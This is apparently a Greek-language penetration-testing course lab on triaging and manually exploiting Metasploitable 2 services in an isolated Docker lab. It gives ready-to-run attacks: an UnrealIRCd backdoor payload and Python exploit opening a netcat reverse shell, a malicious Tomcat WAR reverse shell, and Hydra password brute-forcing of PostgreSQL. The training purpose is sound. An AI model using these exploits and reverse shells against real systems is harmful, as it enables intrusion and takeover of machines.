Skip to main content

Αναζήτηση ευπαθειών — Πρακτικό εργαστήριο

Είδατε δύο προσβάσεις να πέφτουν χωρίς Metasploit στην επίδειξη. Η σειρά σας να ρίξετε μία, μετά να ταξινομήσετε δύο άλλες χωρίς να τις εκμεταλλευτείτε (για να εξασκηθείτε στη σύνταξη ενός καθαρού πίνακα).

Υπολογίστε: 2 ώ. 30.

Παραδοτέο: ~/labs/rapport/vulnerabilites.md με έναν ιεραρχημένο πίνακα, και ~/labs/preuves/ με τα ίχνη εκμετάλλευσης τουλάχιστον μιας ευπάθειας.


Προαπαιτούμενα​

Το Docker Desktop λειτουργικό, η εικόνα inskillsec/kali-lab ήδη κατασκευασμένη (βλ. ενότητα 01). Έχετε ολοκληρώσει την ενότητα 04 (recon): οι σαρώσεις εκδόσεων του Metasploitable 2 βρίσκονται στο μυαλό σας ή στα τεχνουργήματά σας.

Το compose της Ε05 χρησιμοποιεί την ίδια εικόνα στόχου με την Ε04 — είναι ήδη στην cache σας Docker, καμία επιπλέον λήψη.


Βήμα 1 — Εκκίνηση του lab (2 λεπτά)​

cd labs/docker/module-05-vulnerabilites
docker compose up -d

Υπολογίστε 30 δ. έως 1 λεπτό για να ολοκληρώσει ο στόχος το services.sh του. Ελέγξτε:

cd ..
./verifier-lab.sh module-05-vulnerabilites # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-05-vulnerabilites # PowerShell

Μπείτε στον επιτιθέμενο:

cd module-05-vulnerabilites
docker compose exec attaquant bash

mkdir -p ~/labs/{preuves,rapport,pocs}
cd ~/labs

# Ενημέρωση του searchsploit και του Nuclei
sudo searchsploit -u
nuclei -update-templates -silent

Βήμα 2 — Επιλογή 3 ευπαθειών (10 λεπτά)​

Μην πάρετε το vsftpd ούτε το Samba (ήδη εκμεταλλευμένα στην Ε01 και Ε08). Επιλέξτε τρεις διαφορετικές ευπάθειες μεταξύ:

  1. UnrealIRCd 3.2.8.1 — CVE-2010-2075. Σκόπιμη κρυφή πόρτα στο tarball 2009-2010.
  2. distccd — CVE-2004-2687. Απουσία αυθεντικοποίησης, εκτέλεση αυθαίρετου κώδικα.
  3. Tomcat 5.5 με tomcat:tomcat — ανάπτυξη κακόβουλου WAR.
  4. Apache mod_userdir — απαρίθμηση χρηστών μέσω /~<όνομα>.
  5. PostgreSQL 8.3 — αδύναμη αυθεντικοποίηση / λεξικό.
  6. Κακώς ρυθμισμένο NFS (θύρα 2049) — προσβάσιμο export χωρίς αυθεντικοποίηση.
  7. X11 στη θύρα 6000 — καταγραφή οθόνης χωρίς αυθεντικοποίηση.

Γράψτε, στο rapport/vulnerabilites.md, την επιλογή σας των 3 και γιατί. Η αιτιολόγηση είναι αυτή που αποδεικνύει ότι επιλέγετε την επίθεσή σας, αντί να πέφτετε τυχαία σε ό,τι βρείτε.

Ορισμός — ευπάθεια, exploit, POC, CVE: οι λέξεις που όλοι μπερδεύουν

Αυτοί οι τέσσερις όροι χρησιμοποιούνται σχεδόν παντού λανθασμένα ως συνώνυμα. Δηλώνουν διαφορετικά πράγματα.

Μια ευπάθεια είναι μια ιδιότητα ενός λογισμικού — ένας συνδυασμός κώδικα και ρύθμισης που καθιστά δυνατή μια επιβλαβή συμπεριφορά. Υπάρχει ανεξάρτητα από κάθε επιτιθέμενο. Μια υπερχείλιση buffer σε μια συνάρτηση που ποτέ δεν καλείται παραμένει ευπάθεια, ακόμη κι αν κανείς ποτέ δεν την εκμεταλλευτεί. Το τρέχον λεξιλόγιο: «η υπηρεσία είναι ευάλωτη σε αυτό».

Ένα exploit είναι ένα τεχνούργημα — ένα πρόγραμμα, ένα script, ένα payload — που χρησιμοποιεί συγκεκριμένα αυτή την ευπάθεια για να παράξει έναν αντίκτυπο. Το exploit εξαρτάται από το πλαίσιο: ένα exploit που λειτουργεί σε Ubuntu 18.04 x86_64 μπορεί να αποτύχει στην ίδια έκδοση σε ARM. Ένα exploit ενσωματωμένο στο Metasploit ονομάζεται «ενότητα exploit». Το τρέχον λεξιλόγιο: «υπάρχει δημόσιο exploit για αυτή την ευπάθεια».

Ένα POC (Proof of Concept) είναι ένα ελάχιστο exploit, συχνά γραμμένο βιαστικά, μοναδικός σκοπός του οποίου είναι να αποδείξει ότι η ευπάθεια είναι πραγματική. Δεν επιδιώκει να είναι σταθερό, ούτε να περνά τα EDR, ούτε να διαχειρίζεται σφάλματα. Πολλά POC απλώς ρίχνουν την υπηρεσία — αυτό είναι ήδη μια απόδειξη, ακόμη κι αν δεν ανοίγει shell. Το λεξιλόγιο: «δεν υπάρχει ακόμη δημόσιο POC».

Ένα CVE (Common Vulnerabilities and Exposures) είναι ένα αναγνωριστικό. Είναι μια ετικέτα καταλόγου που δείχνει σε μια συγκεκριμένη ευπάθεια, περιγραφόμενη σε μια δημόσια βάση (NVD, MITRE). Το CVE-2011-2523 δηλώνει την κρυφή πόρτα vsftpd 2.3.4, ανεξάρτητα από το ποιος τη βρίσκει ή πώς την εκμεταλλεύεται. Το λεξιλόγιο: «ποιο CVE;».

Η ίδια ευπάθεια μπορεί να έχει μηδέν POC, ένα πρόχειρο POC, μια σταθερή ενότητα Metasploit, και ακόμη κανένα CVE (όταν μόλις ανακαλύφθηκε). Είναι ένας κύκλος: ευπάθεια ανακαλύπτεται → CVE αποδίδεται → POC δημοσιεύεται → σταθερό exploit ενσωματώνεται στα frameworks. Σε κάθε στάδιο, το παράθυρο κινδύνου μεγαλώνει.


Βήμα 3 — Ταξινόμηση της καθεμιάς (30 λεπτά ανά ευπάθεια)​

Για την καθεμία, παράγετε αυτή την πλήρη καρτέλα:

## Ευπάθεια #<n> — <σύντομος τίτλος>

### Ταυτότητα
- Προϊόν και έκδοση: <π.χ. UnrealIRCd 3.2.8.1>
- CVE: <π.χ. CVE-2010-2075>
- Αρχικό δελτίο: <σύνδεσμος URL ή πηγή>
- Αναφορές KEV: <ναι/όχι>

### Σκορ
- CVSS Base: ...
- CVSS Environmental (επαναϋπολογισμένο): ... — αιτιολόγηση σε μία φράση.
- Τρέχον EPSS: ... (πηγή: https://api.first.org/data/v1/epss?cve=<CVE>)

### POC / Exploit
- Βρέθηκε στο: Exploit-DB #<αριθμός> / GitHub <url>
- Διαβάστηκε πριν την εκτέλεση: ναι / όχι
- Απαραίτητες προσαρμογές στον στόχο: ...

### Απόδειξη ύπαρξης
- Αίτημα που στάλθηκε (curl / nc / script): ...
- Παρατηρηθείσα απάντηση: ...
- Αρχείο απόδειξης: preuves/<ευπάθεια>-*.txt

### Επιχειρηματικός αντίκτυπος (αν ο πελάτης ήταν πραγματικός)
- ... (μία φράση ανά αντίκτυπο)

### Σύσταση
- Άμεσο μέτρο: ...
- Μέτρο βάθους: ...

Μην παραλείψετε καμία ενότητα. Ο τελικός πίνακας θα αξίζει μόνο αν οι καρτέλες είναι στέρεες.

Ορισμός — CVSS Base εναντίον CVSS Environmental, γιατί η βαθμολογία αλλάζει με το πλαίσιο

Το CVSS (Common Vulnerability Scoring System) είναι ένα σκορ μεταξύ 0 και 10 που προσπαθεί να ποσοτικοποιήσει τη σοβαρότητα μιας ευπάθειας. Η έκδοση 3.1 (τρέχουσα το 2026) χωρίζει το σκορ σε τρεις ομάδες μετρικών.

Το CVSS Base υπολογίζεται από τα εγγενή χαρακτηριστικά της ευπάθειας, ανεξάρτητα από το πλαίσιο: διάνυσμα επίθεσης (δίκτυο, τοπικό, φυσικό), πολυπλοκότητα (χαμηλή, υψηλή), απαιτούμενα προνόμια, αλληλεπίδραση χρήστη, εμβέλεια, αντίκτυπος στην εμπιστευτικότητα/ ακεραιότητα/διαθεσιμότητα. Είναι το σκορ που διαβάζουμε στο NVD. Είναι σταθερό.

Το CVSS Temporal προσθέτει μετρικές που μεταβάλλονται με τον χρόνο: ωριμότητα του διαθέσιμου exploit (POC, λειτουργικό, weaponized), επίπεδο επίσημης επανόρθωσης (patch, workaround), εμπιστοσύνη στις αναφορές. Αυτό το σκορ είναι σχεδόν πάντα μικρότερο ή ίσο με το Base.

Το CVSS Environmental προσθέτει το πλαίσιο πελάτη: πόση σημασία έχει η εμπιστευτικότητα, η ακεραιότητα, η διαθεσιμότητα για αυτό το σύστημα; Ένας διακομιστής που περιέχει τα αποτυπώματα NTLM μιας ΔΠΤ αξίζει περισσότερο από έναν απομονωμένο διακομιστή δοκιμών. Ο επαναϋπολογισμός του σκορ Environmental σε κάθε ευπάθεια, στο δικό της πλαίσιο, είναι η ενέργεια που ξεχωρίζει μια αναφορά ακατέργαστης σάρωσης από μια αναφορά συμβούλου.

Παράδειγμα: το CVE-2010-2075 (UnrealIRCd) έχει βάση 10.0. Στο lab σας Metasploitable 2, το επαναϋπολογισμένο Environmental θα ήταν πιθανώς 6-7: το μηχάνημα είναι απομονωμένο, η διαθεσιμότητα δεν έχει σημασία, η εμπιστευτικότητα λίγη (τίποτα ευαίσθητο πάνω του), ούτε η ακεραιότητα. Αντίθετα, το ίδιο CVE σε έναν διακομιστή IRC εσωτερικής επικοινωνίας μιας επιχείρησης θα ανέβαινε στο 10.0: ο επιτιθέμενος που παίρνει τον διακομιστή μπορεί να διαβάσει όλες τις συνομιλίες διαχειριστών.

Ο επαναϋπολογισμός του σκορ Environmental και η αιτιολόγηση της νέας σας βαθμολογίας σε μία φράση είναι αυτό που σας πληρώνει ο πελάτης να κάνετε. Χωρίς αυτό, η αναφορά σας είναι απλώς ένα αντίγραφο του NVD.


Βήμα 4 — Εκμετάλλευση με το χέρι τουλάχιστον μίας (60 λεπτά)​

Επιλέξτε την πιο απλή ευπάθεια από τις τρεις σας. Εκμεταλλευτείτε την χωρίς Metasploit — κρατάμε το framework για την ενότητα 8. Ιδού τρία συγκεκριμένα παραδείγματα, έτοιμα προς χρήση.

Πρόταση 1 — UnrealIRCd (Perl POC)​

searchsploit "unrealircd 3.2.8.1"
searchsploit -m 13853 # ή το ID που βρέθηκε

Διαβάστε το Perl script πριν από κάθε άλλη ενέργεια. Στέλνει μια μαγική συμβολοσειρά AB;<εντολή> που πυροδοτεί την εκτέλεση:

$socket->send("AB;system('nc -e /bin/sh 10.20.30.5 4444')\n");

Σε ένα πρώτο τερματικό του container επιτιθέμενου:

nc -lvnp 4444

Σε ένα δεύτερο (docker compose exec attaquant bash από τον host σας):

# Προσαρμόστε το script για να χρησιμοποιήσει 10.20.30.5 (όχι 10.10.10.5)
sed -i 's/10\.10\.10\.5/10.20.30.5/g' 13853.pl
perl 13853.pl 10.20.30.20 6667

Ελέγξτε ότι το πρώτο τερματικό λαμβάνει τη σύνδεση, πληκτρολογήστε id, αποθηκεύστε το ίχνος στο preuves/unreal-shell.log.

Πρόταση 2 — Tomcat manager (WAR)​

Ελέγξτε πρώτα την παρουσία του manager:

curl -s -u tomcat:tomcat http://10.20.30.20:8180/manager/html | head -n 5

Απάντηση HTML; Τότε μπορούμε να αναπτύξουμε:

# 1. Δημιουργία ενός WAR reverse shell (το msfvenom είναι ανεξάρτητο από το msfconsole)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.20.30.5 LPORT=4444 -f war -o pocs/shell.war

# 2. Ανάπτυξη μέσω του API manager
curl -u tomcat:tomcat -T pocs/shell.war "http://10.20.30.20:8180/manager/deploy?path=/pwn"

# 3. Ακρόαση (σε άλλο τερματικό)
nc -lvnp 4444

# 4. Πυροδότηση
curl http://10.20.30.20:8180/pwn/

Ένα shell πέφτει. Αποθηκεύστε το ίχνος στο preuves/tomcat-shell.log.

Πρόταση 3 — PostgreSQL 8.3 με Hydra​

Ένα διαφορετικό σενάριο: όχι ένα exploit κώδικα, αλλά ένας αδύναμος κωδικός.

# Δημιουργία ενός στοχευμένου μίνι λεξικού
cat > pocs/pg-words.txt <<EOF
postgres
admin
password
password123
p@ssw0rd
EOF

# Hydra στο PostgreSQL
hydra -L pocs/pg-words.txt -P pocs/pg-words.txt -f -o preuves/pg-hydra.txt \
postgres://10.20.30.20:5432/template1

Θα πρέπει να βρείτε postgres:postgres. Μετά:

PGPASSWORD=postgres psql -h 10.20.30.20 -U postgres -d template1 -c "\l" > preuves/pg-dbs.txt

Καταγράφετε όλες τις βάσεις. Συγκεκριμένη απόδειξη αντικτύπου.

Ορισμός — γιατί εκμεταλλευόμαστε με το χέρι πριν περάσουμε στο Metasploit

Μια ενότητα Metasploit μοιάζει με μαγικό ραβδί. Πληκτρολογούμε set RHOSTS x.x.x.x, run, και ένα shell πέφτει. Είναι αποτελεσματικό, εντυπωσιακό, και απολύτως καταστροφικό για τη μάθηση: δεν καταλαβαίνουμε τίποτα από όσα έγιναν κάτω από το καπό.

Το να περάσετε από ένα ακατέργαστο POC — ένα Perl script που κατέβηκε από το Exploit-DB, ένα curl χτισμένο με το χέρι, ένα Python script 30 γραμμών — αναγκάζει να κατανοήσετε τρία πράγματα. Ποιο πρωτόκολλο χρησιμοποιείται (IRC σε απλό κείμενο για το UnrealIRCd, HTTP + Basic Auth για το Tomcat, PostgreSQL wire protocol για το Hydra). Ποιο payload καταθέτεται (κυριολεκτική συμβολοσειρά AB;..., WAR JSP, προσπάθειες auth). Ποια απάντηση επιβεβαιώνει την επιτυχία (shell που απαντά στο id, HTTP 200 στο αναπτυγμένο path, γραμμή «[80] [postgres] host: ...» για το Hydra).

Αυτά τα τρία στοιχεία — πρωτόκολλο, payload, απάντηση — είναι αυτά που σας κάνουν να περάσετε από χειριστή εργαλείων σε επαγγελματία. Την ημέρα που ένα δημόσιο exploit κυκλοφορεί για ένα φρεσκοδημοσιευμένο CVE και το Metasploit δεν έχει ακόμη ενότητα, είστε ο μόνος στην ομάδα ικανός να προσαρμόσει το POC. Γίνεστε χρήσιμος. Την ημέρα που ένας πελάτης σας ρωτά γιατί λειτουργεί το POC σας, ξέρετε να απαντήσετε. Γίνεστε αξιόπιστος.

Το Metasploit παραμένει απαραίτητο για την ταχύτητα σε αποστολή — δεν θα γράψετε ένα POC για καθέναν από τους δέκα ευάλωτους διακομιστές. Αλλά το να περάσετε τη γραμμή «κατανοώ τι συμβαίνει κάτω από την ενότητα» είναι αυτό που ξεχωρίζει έναν senior pentester από έναν χειριστή.


Βήμα 5 — Ευρεία σάρωση με Nuclei (20 λεπτά)​

Παράλληλα με τις εκμεταλλεύσεις, εκτελέστε:

nuclei -u http://10.20.30.20 -tags cve,exposure,default-login -severity medium,high,critical \
-o preuves/nuclei-cible.txt

# Επίσης στο Tomcat (θύρα 8180)
nuclei -u http://10.20.30.20:8180 -tags cve,exposure,default-login \
-o preuves/nuclei-cible-8180.txt

# Και στο phpMyAdmin, συχνά φιλοξενούμενο στη θύρα 80
nuclei -u http://10.20.30.20/phpMyAdmin -tags cve,exposure,default-login \
-o preuves/nuclei-phpmyadmin.txt

Σημειώστε τα 5 πιο ενδιαφέροντα ευρήματα του nuclei στην αναφορά σας, με μια απόφαση ανά γραμμή: εκμεταλλεύσιμο / διαρροή πληροφορίας / ψευδώς θετικό.

Ορισμός — Nuclei, η ελεγχόμενη σάρωση

Το Nuclei είναι ένας σαρωτής ευπαθειών βασισμένος σε templates YAML. Κάθε template περιγράφει πώς να δοκιμαστεί ένα συγκεκριμένο CVE ή μια συγκεκριμένη έκθεση: ποιο αίτημα να σταλεί, ποια απάντηση να αναμένεται. Το επίσημο έργο διατηρεί μια βιβλιοθήκη αρκετών χιλιάδων templates καλυμμένων από την κοινότητα.

Στα χαρτιά, μοιάζει με αντικατάσταση του Nessus. Στην πράξη, είναι πολύ διαφορετικό. Το Nuclei δεν κάνει τίποτα πέρα από τα templates που του δίνουμε — καμία συναγωγή, κανένα ιδιόκτητο fingerprinting. Αυτό το κάνει πολύ πιο προβλέψιμο και ελέγξιμο: κάθε εντοπισμός μπορεί να αναχθεί σε ένα συγκεκριμένο template, αναγνώσιμο σε τριάντα δευτερόλεπτα. Το τίμημα: τα templates καλύπτουν κυρίως πρόσφατες ευπάθειες web και εκθέσεις ρύθμισης, λιγότερο παλιά CVE υποδομής.

Η κλασική παγίδα του Nuclei σε έναν πλούσιο στόχο όπως το Metasploitable 2 είναι η υπερανίχνευση ψευδώς θετικών. Πολλά templates ψάχνουν μια συγκεκριμένη απάντηση σε ένα banner ή μια σελίδα σφάλματος. Αν ο διακομιστής επιστρέφει γενική απάντηση για τα πάντα, πολλά templates ταιριάζουν. Ο κανόνας: φιλτράρετε κατά σοβαρότητα (-severity high,critical), περάστε κάθε διατηρημένο αποτέλεσμα από χειροκίνητο επαληθευτή, πετάξτε ό,τι δεν επιβεβαιώνεται με το χέρι.

Το τεράστιο πλεονέκτημα: σε έναν επαναλαμβανόμενο έλεγχο, μπορείτε να συγκρίνετε τις εξόδους Nuclei από τον έναν μήνα στον άλλο. Ένα νέο εύρημα σηματοδοτεί είτε μια οπισθοδρόμηση, είτε ένα νέο CVE που καλύπτεται από ενημερωμένα templates. Είναι ιδιαίτερα χρήσιμο για την παρακολούθηση του δικού σας στόλου.


Βήμα 6 — Nikto πλαισίου (15 λεπτά)​

Εκτελέστε το Nikto στη θύρα 80:

nikto -h http://10.20.30.20 -Format txt -o preuves/nikto-cible.txt

Επιλέξτε, από την έξοδο του Nikto, το πολύ 5 γραμμές που είναι πραγματικά ίχνη (ξεχασμένα αρχεία, διαχειριστικά πάνελ). Τα υπόλοιπα είναι θόρυβος — μην τα κρατήσετε.


Βήμα 7 — Συγκέντρωση στον ιεραρχημένο πίνακα (20 λεπτά)​

Ανοίξτε το rapport/vulnerabilites.md και προσθέστε τον τελικό πίνακα. Ίδια δομή με την επίδειξη:

# Ιεραρχημένος πίνακας — Ενότητα 05

## Στόχος 10.20.30.20 (Metasploitable 2)

| ID | Υπηρεσία | CVE | Base | Env. | EPSS | KEV | Κατάσταση | Απόδειξη |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 10.0 | 6.5 | 0.94 | Ναι | εκμεταλλευμένη | preuves/unreal-shell.log |
| P1b | Tomcat 5.5 manager | — (αδύναμα creds) | 8.8 | 7.5 | — | Όχι | εκμεταλλευμένη | preuves/tomcat-shell.log |
| P2 | distccd | CVE-2004-2687 | 9.3 | 5.5 | 0.42 | Όχι | προς εξέταση | — |
| P3 | PostgreSQL creds | — | 7.5 | 5.0 | — | Όχι | ταξινομημένη | preuves/pg-hydra.txt |
| P4 | NFS export | — | 5.4 | 4.0 | — | Όχι | ταξινομημένη | preuves/nfs-check.txt |
| P5 | mod_userdir | — | 4.3 | 3.0 | — | Όχι | ταξινομημένη | preuves/userdir.txt |

Κανόνες για αυτόν τον πίνακα:

  • Τουλάχιστον 6 γραμμές συνολικά (οι 3 καρτέλες + τα ευρήματα Nuclei/Nikto).
  • Τουλάχιστον μία σε κατάσταση εκμεταλλευμένη με απόδειξη στο preuves/.
  • Καμία γραμμή χωρίς σαφή Κατάσταση.
  • Το CVSS Environmental διαφορετικό από το Base τουλάχιστον μία φορά (δείχνει ότι κάνετε επαναδιαμόρφωση με βάση το πλαίσιο).

Πλέγμα αυτοαξιολόγησης​

  • Τρεις ευπάθειες επιλεγμένες (όχι αυτές της επίδειξης ούτε αυτές της Ε01/Ε08).
  • Τρεις πλήρεις καρτέλες (ταυτότητα, σκορ, POC, απόδειξη, αντίκτυπος, σύσταση).
  • Τουλάχιστον μία ευπάθεια πράγματι εκμεταλλευμένη με το χέρι, χωρίς Metasploit.
  • Πλήρες ίχνος της εκμετάλλευσης στο preuves/.
  • Πλήρης σάρωση Nuclei αποθηκευμένη, top-5 ευρημάτων σχολιασμένα.
  • Πλήρης σάρωση Nikto, 5 ευρήματα διατηρημένα (τα υπόλοιπα πεταμένα).
  • Τελικός ιεραρχημένος πίνακας με τουλάχιστον 6 γραμμές και ένα επαναϋπολογισμένο CVSS Env.
  • Κανένα POC δεν εκτελέστηκε χωρίς να έχει διαβαστεί πρώτα.
  • Καμία ενέργεια εκτός του υποδικτύου 10.20.30.0/24.

Τι μπλοκάρει γενικά​

ΣύμπτωμαΑιτίαΔιόρθωση
Το searchsploit δεν βρίσκει τίποταΜη ενημερωμένη βάσηsudo searchsploit -u.
Το POC Python 2 δεν λειτουργείΣύνταξη Python 2 εναντίον 32to3 script.py -w.
Το Nuclei βγάζει 500 γραμμές θορύβουΠάρα πολλά tagsΦιλτράρετε -severity high,critical.
Ένα exploit εκτελεί ύποπτη ενέργειαΚρυφή πόρτα στο POCΞεκινήστε από επίσημο POC (Rapid7, Metasploit).
Το Nikto αποδίδει πάρα πολλάΦυσιολογικόΦιλτράρετε με το χέρι, πετάξτε το 80%.
Το exploit UnrealIRCd αποδίδει not vulnerableΤροποποιημένη έκδοση, ή υπηρεσία επανεκκινήθηκεdocker compose restart cible.
Το msfvenom πολύ αργόJava toolchain που κάνει compileΠεριμένετε — το πρώτο msfvenom μιας συνεδρίας παίρνει ~30 δ.
hydra: σφάλμα αυθεντικοποίησης ενώ ο κωδικός είναι σωστόςΛάθος σχήμα URLΧρησιμοποιήστε postgres:// (όχι postgresql://).

Προαιρετική επέκταση — Γράψτε το δικό σας ελάχιστο POC​

Πάρτε την πιο απλή από τις τρεις ευπάθειες και ξαναγράψτε το POC σε Python 3, χωρίς αντιγραφή-επικόλληση. 30 γραμμές, με:

  • Όρισμα CLI (argparse).
  • Επαλήθευση της έκδοσης στόχου (banner).
  • Αποστολή του payload.
  • Σαφή επιστροφή (SUCCESS / FAIL).

Σκελετός για το UnrealIRCd:

#!/usr/bin/env python3
import argparse, socket, sys

def check_banner(sock):
banner = sock.recv(2048).decode(errors="ignore")
return "Unreal" in banner

def exploit(ip, port, cmd):
with socket.create_connection((ip, port), timeout=5) as s:
if not check_banner(s):
print("[!] Cible sans bannière UnrealIRCd — abandon")
sys.exit(1)
payload = f"AB;{cmd}\n".encode()
s.sendall(payload)
print(f"[+] Payload envoye : {payload.decode().strip()}")
print("[i] Vérifier votre listener netcat.")

if __name__ == "__main__":
p = argparse.ArgumentParser()
p.add_argument("target"); p.add_argument("--port", type=int, default=6667)
p.add_argument("--cmd", default="id")
a = p.parse_args()
exploit(a.target, a.port, a.cmd)

Αποθηκεύστε στο pocs/unreal_pwn.py, δοκιμάστε:

python3 pocs/unreal_pwn.py 10.20.30.20 --cmd "nc -e /bin/sh 10.20.30.5 4444"

Είναι η πιο διαμορφωτική άσκηση του μαθήματος. Ένας pentester που ξέρει να γράφει ένα POC δεν εξαρτάται πλέον από τα εργαλεία.


Τι κερδίζετε από αυτό το εργαστήριο​

  • Το ένστικτο να ταξινομείτε μια ευπάθεια πριν πέσετε πάνω της.
  • Τη συνήθεια να διαβάζετε ένα POC πριν το εκτελέσετε.
  • Μια μέθοδο για να μετατρέπετε έναν σωρό εξόδων scanners σε έναν χρησιμοποιήσιμο ιεραρχημένο πίνακα.
  • Τη βεβαιότητα ότι μπορείτε να εκμεταλλευτείτε ορισμένες ευπάθειες χωρίς framework. Αυτό είναι που θα σας κάνει να περάσετε, μια μέρα, ένα τεχνικό τεστ σε συνέντευξη.
  • Ένα ή δύο προσωπικά POC Python 3, ξαναγραμμένα με το χέρι — η υπερηφάνεια μιας δουλειάς που γνωρίζετε κάθε γραμμή της.